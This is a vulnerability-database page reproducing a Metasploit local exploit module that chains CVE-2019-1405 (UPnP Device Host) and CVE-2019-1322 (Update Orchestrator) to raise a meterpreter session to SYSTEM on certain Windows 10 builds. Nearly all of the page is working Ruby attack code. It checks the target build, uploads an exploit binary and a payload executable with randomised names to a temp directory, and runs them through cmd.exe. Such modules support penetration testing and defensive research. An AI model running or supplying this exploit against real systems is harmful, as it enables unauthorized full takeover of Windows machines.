Microsoft UPnP Local Privilege Elevation

2019.12.19
Credit: bwatters-r7
Risk: Medium
Local: Yes
Remote: No
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability', 'Description' => %q( This exploit uses two vulnerabilities to execute a command as an elevated user. The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to NT AUTHORITY\LOCAL SERVICE The second (CVE-2019-1322) leverages the Update Orchestrator Service to elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM. ), 'License' => MSF_LICENSE, 'Author' => [ 'NCC Group', # Original discovery (https://www.nccgroup.trust/uk/) 'hoangprod', # PoC 'bwatters-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Windows x64', { 'Arch' => ARCH_X64 }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 12 2019', 'References' => [ ['CVE', '2019-1322'], ['CVE', '2019-1405'], ['EDB', '47684'], ['URL', 'https://github.com/apt69/COMahawk'], ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'], ['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1'] ], 'DefaultOptions' => { 'DisablePayloadHandler' => false } )) register_options([ OptString.new('EXPLOIT_NAME', [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('WRITABLE_DIR', [false, 'Path to write binaries (%TEMP% by default).', nil]), OptInt.new('EXPLOIT_TIMEOUT', [true, 'The number of seconds to wait for exploit to finish running', 60]), OptInt.new('EXECUTE_DELAY', [true, 'The number of seconds to delay between file upload and exploit launch', 3]) ]) end def exploit exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14) payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe') payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe') temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP') payload_path = "#{temp_path}\\#{payload_name}" exploit_path = "#{temp_path}\\#{exploit_name}" payload_exe = generate_payload_exe # Check target vprint_status("Checking Target") validate_active_host validate_target fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path) # Upload Exploit vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}") ensure_clean_destination(exploit_path) exploit_bin = exploit_data('cve-2019-1322', 'CVE-2019-1322-EXE.exe') write_file(exploit_path, exploit_bin) print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}") # Upload Payload vprint_status("Uploading Payload") ensure_clean_destination(payload_path) write_file(payload_path, payload_exe) print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}") print_warning("This exploit requires manual cleanup of the payload #{payload_path}") # Run Exploit vprint_status("Running Exploit") print_status("It may take a moment after the session is established for the exploit to exit safely.") begin cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60) rescue Rex::TimeoutError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Caught timeout. Exploit may be taking longer or it may have failed.") end vprint_status("Cleaning up #{exploit_path}") ensure_clean_destination(exploit_path) end def validate_active_host begin print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") raise Msf::Exploit::Failed, 'Could not connect to session' end end def validate_target if sysinfo['Architecture'] == ARCH_X86 fail_with(Failure::NoTarget, 'Exploit code is 64-bit only') end sysinfo_value = sysinfo['OS'] build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i vprint_status("Build Number = #{build_num}") unless sysinfo_value =~ /10/ && (build_num > 17133 && build_num < 18362) fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362') end end def ensure_clean_destination(path) return unless file?(path) print_status("#{path} already exists on the target. Deleting...") begin file_rm(path) print_status("Deleted #{path}") rescue Rex::Post::Meterpreter::RequestError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") print_error("Unable to delete #{path}") end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top